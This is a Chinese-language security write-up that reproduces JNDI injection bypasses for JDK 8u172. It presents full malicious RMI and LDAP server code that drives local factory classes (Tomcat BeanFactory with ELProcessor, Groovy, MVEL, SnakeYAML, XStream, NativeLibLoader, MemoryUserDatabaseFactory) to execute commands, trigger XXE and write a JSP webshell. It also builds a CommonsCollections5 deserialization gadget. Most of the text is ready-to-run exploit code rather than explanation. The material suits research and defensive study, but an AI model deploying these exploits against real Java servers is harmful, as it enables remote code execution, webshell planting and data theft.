本篇文章所有复现代码均已上传github项目库https://github.com/LtmThink/JNDIBypass
本机的java版本为8u172,所以默认配置导致不能使用常规的加载远程ObjectFactory的方法进行RCE
而绕过这一限制有两种思路:
-
利用受害者本地的工厂类实现RCE
-
受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
基于本地工厂类的利用方法
javax.management.loading.MLet 探测类是否存在
javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)
由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在
利用条件:
java内置类通用
利用步骤:
-
RMI服务端构建
导入pom.xml依赖
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>编写
MletServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public class MletServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a","java.lang.Runtime"));
ref.add(new StringRefAddr("b","http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c","Bitterz"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("melt", referenceWrapper);
}
} -
python开启
webserver
1
python -m http.server 2333
-
触发JNDI注入
运行
1
2
3String uri = "rmi://127.0.0.1:1100/melt";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);返回如果验证的类存在则在远程服务器会留下访问请求(404)
否则就没有
org.apache.naming.factory.BeanFactory
利用条件:
-
tomcat自带相关包
攻击步骤:
-
RMI服务器代码
pom.xml依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public class TomcatBeanFactoryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "bitterz=eval"));
// 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper); // 绑定目录名
System.out.println("Server Start on 1100...");
}
} -
开启RMI服务端后,触发JNDI注入
1
2
3
4
5public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1100/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
groovy.lang.GroovyClassLoader.parseClass
利用条件:
-
存在groovy包
攻击步骤:
-
RMI服务器构建
pom.xml依赖
1
2
3
4
5
6
7
8
9
10
11
12<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.3</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public class GroovyShellServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
} -
触发JNDI注入
运行
1
2
3String uri = "rmi://127.0.0.1:1100/evilGroovy";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
org.mvel2.sh.ShellSession.exec
利用条件:
-
项目存在mvel2包
攻击步骤:
-
RMI服务器构造
pom.xml配置
1
2
3
4
5
6
7
8
9
10
11
12<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public class MvelServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('calc');"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("mvel", referenceWrapper); // 绑定目录名
System.out.println("Server Start on 1100...");
}
} -
触发JNDI注入
运行
1
2
3String uri = "rmi://127.0.0.1:1100/mvel";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
org.yaml.snakeyaml.Yaml
Yaml是做反序列化的,也可以实现RCE,利用点在org.yaml.snakeyaml.Yaml().load(String)
。
利用条件:
-
存在snakeyaml反序列化
攻击步骤:
-
构造恶意jar文件yaml-payload.jar(名字随意)
创建一个恶意类,实现ScriptEngineFactory接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75public class File implements ScriptEngineFactory {
public File() {
try {
new java.io.IOException().printStackTrace();
java.lang.Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
new java.io.IOException().printStackTrace();
java.lang.Runtime.getRuntime().exec("calc");
}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名
-
RMI服务端构造
pom.xml依赖引入
1
2
3
4
5
6
7
8
9
10
11
12<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public class YamlServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("yaml", referenceWrapper); // 绑定目录名
System.out.println("Server Start on 1100...");
}
} -
python开启
webserver
,并放置一个恶意jar文件 -
触发JNDI注入
1
2
3
4
5public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1100/yaml";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
com.thoughtworks.xstream.XStream.fromXML
JNDI结合xstream的反序列化漏洞
利用条件:
-
相应版本的xstream存在反序列化漏洞
攻击步骤:
以xstream1.4.6为例,该版本存在以下POC
1 | <sorted-set> |
-
RMI服务器构造
pom.xml依赖引入
1
2
3
4
5
6
7
8
9
10
11
12<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.6</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1100);
//攻击主机的公网ip
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<sorted-set>\n"+
"<dynamic-proxy>\n"+
"<interface>java.lang.Comparable</interface>\n"+
"<handler class='java.beans.EventHandler'>\n"+
"<target class='java.lang.ProcessBuilder'>\n"+
"<command>\n"+
"<string>calc</string>\n"+
"</command>\n"+
"</target>\n"+
"<action>start</action>\n"+
"</handler>\n"+
"</dynamic-proxy>\n"+
"</sorted-set>\n";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("FromXML", referenceWrapper);
System.out.println("RMI Server start on 1100");
} -
触发JNDI注入
运行
1
2
3String uri = "rmi://127.0.0.1:1100/FromXML";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
com.sun.glass.utils.NativeLibLoader
其是JDK内置的动态链接库加载工具类,可以被JNDI注入利用加载恶意dll来执行任意代码
利用条件:
-
被攻击服务器存在可以被利用的.dll或者.so文件在攻击者可控制的路径下
攻击步骤:
-
编写c++文件
1
2
3
4
5
6
void __attribute__ ((constructor)) my_init_so()
{
FILE *fd = popen("calc", "r");
}使用以下指令编译一个dll文件
1
gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll
-
RMI服务器构造
pom.xml配置
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>server端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public class NativeLibLoaderServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
//不能使用绝对路径,相对路径根据不同的环境修改
ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("dllLoader", referenceWrapper);
System.out.println("RMI Server start on 1100");
}
} -
放置dll文件,并触发JNDI注入
我的java代码运行在D盘,根据
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd
我把libcmd.dll放置在本地的d://libcmd.dll再运行
1
2
3String uri = "rmi://47.99.68.209:1100/dllLoader";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);即可RCE
org.apache.catalina.users.MemoryUserDatabaseFactory
XXE利用:
利用条件:
-
tomcat服务器自带
攻击步骤:
-
RMI服务端构建
导入pom.xml依赖
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>编写
XXEServer
1
2
3
4
5
6
7
8
9
10
11
12
13public class XXEServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
ref.add(new StringRefAddr("pathname","http://127.0.0.1:7777/exp.xml"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("xxe", referenceWrapper);
}
} -
python开启
webserver
,并放置一个恶意xml文件文件内容
1
2
3
4<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:7777/RequestFromXXE"> %romote;]>
<root/>python开启
webserver
指令1
python -m http.server 7777
-
触发JNDI注入
1
2
3String uri = "rmi://127.0.0.1:1100/xxe";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);成功触发XXE
任意文件写入利用:
利用条件:
-
windows下tomcat服务器即可利用
-
linux下需要有可以写文件夹的本地工厂类,比如
org.h2.store.fs.FileUtils
windows下攻击步骤:
-
RMI服务端构建
导入pom.xml依赖
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>编写
UserDataRCE_Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}运行RMI服务器
-
配置要写入的webshell,并开启python webserver
假设我们要将webshell写入到远程
tomcat
服务器的webapps/ROOT/webshell.jsp
文件里,我们需要先新建一个类似结构webshell.jsp内容
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>然后在和
webapps
同级的目录开启pythonwebserver
1
python -m http.server 7777
-
模拟的tomcat web的jndi注入漏洞
再写入JNDI.jsp内容如下
1
2
3
4
5
6
7<%"utf-8"%> pageEncoding=
<%import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1100/writeFile");
%>
开启tomcat后访问http://127.0.0.1:8080/JNDI.jsp
触发JNDI漏洞,写入webapps/ROOT/webshell.jsp
==补充:==可以通过这种写入的方式写入tomcat-users.xml
在可以访问host-manager
的情况下我们可以登录tomcat后台
linux下攻击步骤:
因为在linux下类似aaa/bbb/../../webapps
的访问路径需要建立在aaa/bbb
目录存在的情况下才能成功。所以linux下我们无法直接写入文件需要先有http:
和127.0.0.1:7777
目录才可以。为解决这个问题我们先要通过JNDI或者其他手段新建目录,类似org.h2.store.fs.FileUtils
就可以新建目录。
下面给出相应的RMI服务端代码如下(需要依次触发三次JNDI注入):
1 | public class UserDataRCE_Server { |
基于服务端返回数据流的反序列化RCE
还有一种通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞进行RCE的思路
利用条件:
-
需要存在本地反序列化链
攻击步骤:
-
LDAP服务器构建
pom.xml依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>服务器端java代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class UnserializeLDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://127.0.0.1:8081/#CC5"};
int port = 4444;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
} -
触发JNDI注入
1
2
3public static void main(String[] args) throws Exception {
Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
}